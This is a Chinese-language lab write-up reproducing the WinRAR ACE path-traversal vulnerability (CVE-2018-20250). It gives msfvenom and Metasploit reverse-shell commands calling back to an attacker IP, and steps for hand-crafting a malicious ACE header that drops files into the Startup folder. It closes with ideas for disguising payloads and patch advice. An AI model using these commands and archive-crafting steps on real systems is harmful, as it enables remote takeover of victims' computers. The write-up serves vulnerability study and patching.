使用metasploit验证漏洞
1.漏洞影响
WinRAR < 5.70 Beta 1
Bandizip< = 6.2.0.0
好压(2345压缩) < = 5.9.8.10907
360压缩< = 4.0.0.1170
2.环境搭建
攻击机:kali-2019 ip:192.168.0.171
靶机:windows 7 +winrar5.5 ip:192.168.0.169
3.漏洞复现
(1)下载WinRAR漏洞exp:https://github.com/WyAtu/CVE-2018-20250
(2)利用msfvenom生成恶意文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.171 lport=1234 -f exe >./test.exe
(3)编辑winrar漏洞exp文件
vi exp.py
按i进行编辑
修改python3的运行命令
修改完后按esc退出编辑,然后按:,输入wq保存
(4)运行winrar漏洞exp
python3 exp.py
(5)把恶意winrar文件传到靶机
为了方便,利用python开启临时server
python -m SimpleHTTPServer 999
利用靶机浏览器访问,并下载test.rar
(6)kali启动msf,设置监听
msfconsole
使用监听模块,并设置参数
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.171
set lport 1234
show options查看是否有遗漏
运行,exploit
(7)靶机解压恶意winrar文件
解压后会在自启动目录生成一个恶意文件hi.exe
目录为:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\(administrator改为你当前用户名)
当电脑重启后就会自动运行该文件(这里为了方便就直接双击了),查看进程hi.exe已经运行
(8)返回kali,已经建立会话sessions
4.漏洞修复
更新winrar到最新版本
使用其它的解压软件,如7z
===========================================================
手工验证漏洞
Check Point的网络安全研究人员发现一个潜伏19年的漏洞——WinRAR代码执行漏洞。受影响的版本不止Winrar5.7版本之前,Bandzip、2345压缩、好压、totalcmd等软件也受影响,受害者使用受影响的压缩软件解压构造的恶意文件时便会触发漏洞。
受影响的版本
影响版本:
- WinRAR < 5.70 Beta 1
- Bandizip < = 6.2.0.0
- 好压(2345压缩) < = 5.9.8.10907
- 360压缩 < = 4.0.0.1170
腾讯研究员利用玄武实验室自研的“阿图因”系统,对已收录的全网 PC 软件进行了扫描,统计了 unacev2.dll 的使用情况,其版本分布情况如下图所示:
通过“阿图因”系统,腾讯研究员对使用了该共享库的软件进行反向溯源,目前扫描到了受影响的有 24 款国外软件,15 款国产软件。
多数受影响的软件都可以被归类为工具软件。其中至少有9款压缩软件,以及8款文件浏览器。还有其它许多软件将 unacev2.dll 作为 WinRAR 的一部分放在了自己的软件包中,作为解压模块使用。(使用unacev2.dll动态共享库的解压、文件管理类工具软件)
漏洞细节
漏洞主要是由Winrar用来解压ACE压缩包采用的动态链接库unacev2.dll这个dll引起的。unacev2.dll中处理filename时只校验了CRC,可以通过更改压缩包的CRC校验码来修改解压时候的filename来触发这个Path Traversal漏洞。但是Winrar本身检测了filename,有一些限制并且普通用户解压RAR文件时候不能将恶意的Payload解压到需要System权限的文件夹。当用户将文件下载到默认的C:\Users\Administrator\Downloads
目录下时,通过构造
C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
经过Winrar的CleanPath函数处理会变成
C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
其中C:
会被转换成当前路径,如果用Winrar打开那么当前路径就是C:\Program Files\WinRAR
,要是在文件夹中右键解压到xxx\那么当前路径就是压缩包所在的路径。
当用户在文件夹中直接右键解压到xx,那么恶意的payload解压地址就会变成
C:\Users\Administrator\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
就是当前用户的启动项。这样一个利用完成了从一个Path Traversal到任意命令执行的过程。
漏洞复现
环境
- win7 x64
- winace v2.69
- winrar 5.6.1 x64
- 010Editor
复现
0x01 新建文件b404.txt
:
0x02 使用winace进行压缩,将b404.txt
压缩为b404.ace
:
0x03 下载https://github.com/droe/acefile 中的ace脚本读取文件头信息:
python acefile.py --headers b404.ace
0x04 更改b404.ace
的解压缩路径
第一处为0x590F(hdrcrc),第二处为0x003A(hdrsize),第三处为0x001B(filename的长度),以及最后一处为filename。
- 0x3A的十进制是58
- 0x1B的十进制是27
修改文件名为C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt
,文件名长度为69,即十六进制0x0045
。在之前的0x001B
上修改为0x0045
:
0x05 修改hdr_size
因文件的绝对路径更改(即文件名变化),hdr_size发生变化,为100,十六进制为64h
:
原hdr_size为0x003A
,因文件的绝对路径更改(即文件名变化),就更改hdrsize的长度0x003A
为0x0064
:
0x06 修改CRC
现在直接运行acefile脚本检测修改后的ace文件,报错:
参考文章使用的是脚本报错中断时进行下断点,找出正确的CRC值。我直接使用https://github.com/WyAtu/CVE-2018-20250 中的acefile脚本进行正确的hdr_crc值查找,并更改:
更改成功之后,使用https://github.com/droe/acefile 中的acefile就可以检验成功:
然后使用WinRAR解压:
解压出来的路径是C:\Users\b404\Desktop\b404\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
,根本不符合C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
的目标地址,也就是目录穿越失败。即构造的文件名C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt
需要修改
0x07 重新构造文件名
重新构造文件名为C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt
,将其写入到b404.ace
中。
使用ace脚本检测ace头信息,得到正确的hdr_crc
:
此时需要修改的值为:
- hdr_size:0x006F(即6Fh,十进制为111)
- filename_size:0x0050(即50h,十进制为80)
- right_hdr_crc:0x0EFA
在运行中shell:startup
打开自启动目录C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
,没有b404.txt
:
解压到当前文件夹(解压到b404\
也可以实现目录穿越):
在C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
目录中就出现b404.txt
:
成功目录穿越。
扩展
若将b404.txt
换成victim.exe
,里面添加一些具有迷惑性的文档,ace扩展名更改为rar(WinRAR是通过文件的内容而不是扩展来检测格式的),一旦解压该程序,那就可以做很多事了。
研究人员还发现一个SMB攻击向量,可以连接到任意的IP地址,并在SMB服务器的任意路径创建文件和文件夹。比如:
C:\\\10.10.10.10\smb_folder_name\some_folder\some_file.ext => \\10.10.10.10\smb_folder_name\some_folder\some_file.ext
在拥有system权限下可以放入 c:/windows/system32/wbem/mof/nullevt.mof
,直接获取目标主机的权限。
可以投放恶意dll文件进行dll劫持获取到目标主机的权限,或者覆盖用户主机上的文件等方式获取目标主机的权限
修补
- 升级到最新版本。比如WinRAR升级到5.70 Beta 1(http://win-rar.com/fileadmin/winrar-versions/winrar-x64-57b1.exe)
- 删除UNACEV2.dll文件